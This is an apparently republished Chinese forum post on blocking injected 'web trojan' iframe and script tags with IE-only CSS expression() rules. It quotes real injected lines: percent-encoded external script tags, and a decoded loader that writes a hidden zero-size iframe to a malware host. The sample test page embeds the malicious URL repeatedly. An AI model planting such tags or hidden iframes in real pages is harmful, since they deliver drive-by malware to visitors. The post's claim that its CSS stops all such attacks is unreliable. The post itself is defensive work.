使用二行代碼解決全部網頁木馬(含iframe/script木馬)

來源:互聯網
上載者:User
 還是掛馬問題,這段時間,我漸漸感到壓力,頭大,通過QQ或MSN加我的人越來越多,我最近自己的工作本來就忙得不亦樂乎。哎,想想,還是要抽空來來幫幫大家。

  前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代碼解決iframe掛馬(包含伺服器端注入、用戶端ARP注入等)》得到了很多朋友的認可,這確實是個避避風雨的好辦法。可現在掛網馬的方式真如我所料地改變了,現在流行掛<script>木馬,汗了,看了幾個網友的網站都被這樣了——頁面的頂部或底部加上了:

注意,以下地址含有木馬,請不要輕易訪問:

[Copy to clipboard] [ - ]CODE:<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個一樣的<script>標記。偶的電腦什麼補丁都打了,直接存取這個http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現形了:

[Copy to clipboard] [ - ]CODE:document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個檔案,一看,亂七八糟的JS編碼,汗,不過找到了一個類似QQ號的數字,直接加加看,汗,然後是專業提供網馬的組織,哎,什麼世道。還收費蠻高滴呢!

[Copy to clipboard] [ - ]CODE:...
var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個統計的JS代碼)。
針對上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,<script>木馬的特點是什麼:

<script src=http://%76%63%63%64%2E%63%6E></script>

對了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網站的script一般都不用加上http;再看看木馬的原形,裡面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這麼多,來多少殺多少。

來跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來測試一下哈:

解決方案1:

[Copy to clipboard] [ - ]CODE:iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
原理:將<script>標記的src拿出來轉為小寫,再看是不是以“http”開頭的外域JS指令檔,如果是,則頁面內容清空並寫出“木馬被成功隔離!”。反之正常顯示。
    缺點:訪客無法看到被感染了<script>木馬的頁面。
     

解決方案2:

[Copy to clipboard] [ - ]CODE:iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:將外域的JS檔案的document.write()使用document.close()強制關閉。木馬內容還沒有來得及寫完,只有部分被強制緩衝輸出了,剩下的不會再寫了。


解決方案3:

[Copy to clipboard] [ - ]CODE:iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
 原理:同到外域的JS檔案,立即調用IE私人的execCommand方法來停止頁面所有請求,所以接下來的外域JS檔案也被強制停止下載了。就像我們點了瀏覽器的“停止”按鈕一樣。看來這是JS類比IE停止按鈕的一種方法。

解決方案4:

[Copy to clipboard] [ - ]CODE:iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
   原理:將外域的JS檔案的src重寫成本地IE404錯誤頁面的地址,這樣,外域的JS代碼不會下載。

解決方案5:

[Copy to clipboard] [ - ]CODE:iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
   第五種方案的頁面HTML原始碼<script>中要加入以"lh"為首碼的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下頁面代碼裡含有一個木馬地址,而且木馬在頁面裡重複了6次,大家分別用我上面的不同方案測試一下,看看我的研究如何! (此測試有一定的危險性,請務必打好所有補丁再測試)

[Copy to clipboard] [ - ]CODE:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>讓JS木馬的進程迅速中止的CSS代碼</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以後請在此關注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:

[Copy to clipboard] [ - ]CODE:document.write("我是本站的JS檔案");
document.write("<img src='logo.gif' />");
我的測試環境是:
  Windows XP SP2 和windows Vista SP1
      IE6/IE7/IE8
      已全部打好補丁。
綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問題,訪客不會再輕易地中毒了。

    大家也要仔細研究一下,看看My Code有什麼BUG,有的話一定要拿出來討論,好解決問題!或是各位有其他更好的辦法可以拿出來討論一下。


相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。